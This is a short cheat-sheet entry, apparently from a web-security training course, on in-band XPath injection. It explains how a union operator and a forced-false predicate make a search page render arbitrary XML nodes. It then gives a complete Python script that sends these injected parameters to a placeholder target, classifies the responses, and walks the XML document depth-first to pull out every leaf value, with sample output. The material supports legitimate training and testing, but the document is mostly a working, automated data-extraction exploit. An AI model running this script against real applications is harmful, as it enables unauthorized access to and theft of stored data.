In-band
In-band XPath dump: DFS walk of the XML tree via union
Forces the original node-set empty and appends a second node-set after | to render arbitrary nodes, then DFS-walks position()-indexed paths.
When the result of an XPath expression is reflected, a union (|) appends a second node-set whose path is attacker-controlled. The original predicate is forced false (') and ('1'='2) so only the injected node-set renders. classify() maps each response to three states: the No Results! marker (path does not exist), extracted text (a leaf node), or empty render (an interior node with children). An iterative DFS over /*[i]/*[j]/... then walks the whole document, descending interior nodes and recording leaf text. Responses are stored alongside their path on the stack so each node is fetched only once.
import re, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
SEARCH = "https://target/index.php"
NO_RESULTS = "No Results!"
# Original filter forced empty; injected node-set appended after '|'.
# 'fullstreetname' is whatever field the app normally renders.
def query(path):
params = {"q": "') and ('1'='2", "f": f"fullstreetname | {path}"}
return s.get(SEARCH, params=params, verify=False).text
def classify(body):
if NO_RESULTS in body:
return ("none", None)
m = re.search(r'Results:</b><br><br>([^<]*)</center>', body)
if m and m.group(1).strip():
return ("text", m.group(1).strip()) # leaf node with text
return ("node", None) # interior node, has children
def dump(root="/*[1]"):
stack, leaves = [(root, query(root))], []
while stack:
path, body = stack.pop()
kind, text = classify(body)
if kind == "none":
continue
if kind == "text":
leaves.append((path, text)); print(f"[+] {path} => {text}"); continue
print(f"[*] {path} node, walking children")
children, i = [], 1
while True:
cpath = f"{path}/*[{i}]"
cbody = query(cpath)
if classify(cbody)[0] == "none":
break
children.append((cpath, cbody)); i += 1
stack.extend(reversed(children)) # DFS, left-to-right order
return leaves
print(f"[*] {len(dump())} leaf nodes recovered")Response fragment classify() parses
Results:</b><br><br>01ST ST</center>tree walk
[*] /*[1]/*[1]/*[1] node, walking children
[+] /*[1]/*[1]/*[1]/*[1] => 01ST ST
[+] /*[1]/*[1]/*[1]/*[2] => 01STFind by: xpath in-band union node-set dump tree position() DFS walk leaf text extract whole document · Source: CWEE/XPath Injection - In-band Auto Dump